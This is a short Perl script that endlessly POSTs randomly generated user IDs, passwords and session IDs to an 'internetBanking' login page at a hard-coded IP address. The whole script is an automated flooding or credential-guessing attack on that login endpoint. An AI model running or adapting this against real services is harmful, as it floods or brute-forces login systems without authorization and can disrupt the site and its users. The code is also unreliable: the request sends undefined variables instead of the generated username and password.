#!/usr/pkg/bin/perl 

use POSIX;
use HTML::TokeParser;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST GET);


$|++;
sub postdoc {
    my $docurl = shift;
    
    my $req = POST  $docurl, [ USERID			=> $type,
                               PSWD			=> $card,
                               LOGINSESSIONID		=> $em,
                               RESPONSE_TYPE_IND	=> "ResponseType_AccountSummary",
                               x        		=> "45",
                               y   			=> "10" ];
 
    $req->header(Accept => $acpthdr);

    # Pass request to the user agent and get a response back
    my $res = $ua->request($req);

    # Check the outcome of the response
    if ($res->is_success) {
#        print "Got document for $docurl\n";
        print ".";
        return \$res->content();
    } else {
        print "x\n";
        return ''
    }
    undef $req;
    undef $res;
}

$ua = LWP::UserAgent->new( keep-alive => 1, timeout => 10);
$ua->agent("DocGrab 0.1");

$fucker="http://216.117.141.129/internetBanking/RequestRouter_requestCmdId_DisplayLoginPage/login/";


@char = ( "A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","S","T","U","V","W","X","Y","Z","1","2","3","4","5","6","7","8","9","0");


#X0E21OE0BW314CFAV1Y1ZZI
#12345678901234567890123
#USERID=foobarbat&PSWD=barbatfoo&LOGINSESSIONID=X0E21OE0BW314CFAV1Y1ZZI&RESPONSE_TYPE_IND=ResponseType_AccountSummary&x=45&y=10
while (1) {
    $user=$pass=$em="";
    foreach $k (1 .. 7) {
        $user .= $char[int(rand(999) % 35)];
    }
    foreach $k (1 .. 8) {
        $pass .= $char[int(rand(999) % 35)];
    }
    foreach $k (1 .. 23) {
        $em .= $char[int(rand(999) % 35)];
    }
        
    postdoc($fucker);
}
